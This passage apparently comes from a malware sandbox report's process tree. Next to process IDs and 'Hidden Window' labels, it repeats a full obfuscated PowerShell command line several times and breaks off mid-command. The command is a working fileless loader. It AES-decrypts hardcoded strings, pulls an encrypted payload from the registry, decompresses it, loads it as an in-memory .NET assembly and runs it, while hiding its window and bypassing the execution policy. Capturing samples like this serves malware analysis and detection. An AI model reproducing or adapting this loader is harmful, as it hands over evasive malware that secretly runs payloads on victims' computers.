$gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:2936
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:7336
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:7528
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); 